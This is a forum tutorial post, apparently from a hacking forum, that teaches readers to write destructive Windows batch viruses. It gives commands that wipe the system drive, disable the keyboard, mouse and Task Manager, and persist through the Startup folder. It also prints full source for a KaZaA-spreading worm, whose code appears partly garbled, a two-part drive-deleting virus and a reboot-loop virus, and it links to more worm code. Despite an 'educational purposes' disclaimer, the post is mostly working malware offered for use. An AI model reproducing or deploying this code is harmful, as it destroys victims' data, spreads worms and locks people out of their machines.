-+Introduction To Batch Viruses By Xed+-If you are going to make a virus of ANY type, using any language, I suggest learning how to create batch viruses first. Why? Its simple, and it will give you a clear understanding how viruses work through simple terms, so when you go on to create better viruses, you have an idea of what your doing. Also, this is STRICTLY FOR EDUCATIONAL PURPOSES ONLY. Lastly, I would like to say batch viruses are very easy to spot, and are not that hard to make. Why? Because tons of info on them form the 90's are being released due to the fact they are outdated. And, viruses now a days want to steal information and money, not destroy your computer. And do not think that after reading my tutorial you will be some L33t Hakx0r, this is just bare bones ideas of a virus. What we will be going over: Worms, computer destruction, deleted files, annoying things, and how to mess someone up BAD.
-+Basic Commands+-When creating a batch virus, some key commands that I believe are necessary to making a virus are:
+To delete PC's System Drive:
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
+To disable keyboard:
rundll32 keyboard,disable
rundll32 mouse,disable
+To add itself to startup:copy ".bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy ".bat" "C:\"
copy ".bat" "%userprofile%\My Documents"
ECHO REGEDIT4 > %WINDIR%\DXM.REG
echo. >> %WINDIR%\DXM.reg
+To Disable task manager:echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\DXM.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\DXM.reg
start /w regedit /s %WINDIR%\DXM.reg
+To disable shutdownicacls %windir%\system32\shutdown.exe /deny SID:D
+ExtrasCopy %0 (Directory):Copies the running file to whatever specified place, however NOT executable's. This is useful for making a worm, copy it to popular folders and such to make sure your virus spreads and doesnt leave.
Start (Whatever.whatever): This can start another program or file up, useful for spamming pop ups and other viruses.
kill (Specified program): Ends the process of a program, useful for disabling antivirus and such.
-+Example Worms+-Now that I gave you the basics of popular virus commands do and what they are, here are some code examples that I have broken down for you to understand.
PROTEUS WORM BREAK DOWN@echo offclsIf exist c:scar.txt goto MsgBoxIf not exist c:scar.txt goto scar_computer:Scar_computerecho This computer has already been infected by Proteus > > c:scar.txtecho Cancel start up of worm and move on to next command > > c:scar.txtecho If this file is deleted then the worm will not skip your computer and > > c:scar.txtecho you will be infected again > > c:scar.txtecho > > c:scar.txtecho 2003 > > c:scar.txtecho 0SYSTEMHACKER0 ©> > c:scar.txtgoto WormKazaa:MsgBoxecho MsgBox "Unable to open program due to out of system resources", vbCritical, "Unable to open file" > > c:MsgBox.vbsStart c:MsgBox.vbsgoto end:WormKazaaCopy %0 C:ProgramFilesKaZaAMySharedFolderMatrix2.vid.batCopy %0 C:Program FilesKaZaAMy Shared Folder8-legged-freaks.vid.batCopy %0 C:Program FilesKaZaAMy Shared FolderPassword_finder.exe.batCopy %0 C:Program FilesKaZaAMy Shared Folders-club7.bmp.batCopy %0 C:Program FilesKaZaAMy Shared FolderJackAss the movie.vid.batCopy %0 C:Program FilesKaZaAMy Shared Folderpassword hacker.exe.batCopy %0 C:Program FilesKaZaAMy Shared FolderNorton anti virus.exe.batCopy %0 C:Program FilesKaZaAMy Shared Folder8-mile.mpg.batCopy %0 C:Program FilesKaZaAMy Shared Folderkazaa.exe.batCopy %0 C:Program FilesKaZaAMy Shared Folderrealplayer.exe.batCopy %0 C:Program FilesKaZaAMy Shared FolderMyPic.bmp.batCopy %0 C:Program FilesKaZaAMy Shared FolderBill gates *very funny*.bmp.batCopy %0 C:Program FilesKaZaAMy Shared FolderBill gates *very funny*.mpg.batCopy %0 C:Program FilesKaZaAMy Shared Folderwindows xp.exe.batCopy %0 C:Program FilesKaZaAMy Shared FolderHow to make viruses.txt.batCopy %0 C:Program FilesKaZaAMy Shared Folder*very funny*.bmp.batCopy %0 C:Program FilesKaZaAMy Shared FolderHow to stop worm viruses.txt.batgoto MainBody:MainBodycd c:md Aboutecho Proteus > > C:AboutProteus.txtecho > > C:AboutProteus.txtecho Proteus P2P KaZaA worm > > C:AboutProteus.txtecho was made by 0SYSTEMHACKER0> > C:AboutProteus.txtecho Proteus will not infect the same computer twice > > C:AboutProteus.txtecho you have already been infected > > C:AboutProteus.txtecho > > C:AboutProteus.txtecho You cannot stop what cannot be stopped! > > C:AboutProteus.txtecho Proteus > > C:AboutProteus.txtecho 2003 © > > C:AboutProteus.txtgoto MsgBox:endEnd
TWO PART DESTRUCTION BREAKDOWN (You might of heard of this simple virus before, it was known as tpd.zip)t.bat
@echo off
::First thing it does is copy itself to startup, this is where i got the code.
:t
copy ".bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy ".bat" "C:\"
copy ".bat" "%userprofile%\My Documents"
ECHO REGEDIT4 > %WINDIR%\DXM.REG
echo. >> %WINDIR%\DXM.reg
goto p
:p
::starts part 2 of the virus
start tp.bat
::Deletes c drive (Also where I got the code)
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
tp.bat
@echo off
Title Hacked
color 0a
:tpd
cls
echo.
echo.
echo.
echo You've been hacked.
::Fake text
start tp.bat
goto tpd
::Spams this same program over and over to make it so exiting out of the real virus, t.bat is hard
A simple virus I made@echo off
::Copying to startup
copy ".bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy ".bat" "C:\"
copy ".bat" "%userprofile%\My Documents"
ECHO REGEDIT4 > %WINDIR%\DXM.REG
echo. >> %WINDIR%\DXM.reg
shutdown -r -f -t 00
::Shuts down the computer whenever its started up. Evil, I know, but this is evilzone is it not?
-+Closing+-Hope this little tutorial helped. Pm me for more info and make sure to add any suggestions in the comments. I think I will do a browser virus tutorial next, since I have never, ever seen one done before on the internet. And btw, not sure why this screwed up when i posted it. Maybe a mod could help. It made the text (As you see) Faded, and most of the Proteus worm is messed up and out of whack, not sure why. Heres the link to the Proteus worm for the complete code, but without my breakdown, in case you cannot read the code above.
http://www.rohitab.com/discuss/topic/541-batch-worm-made-by-0systemhacker0/page-2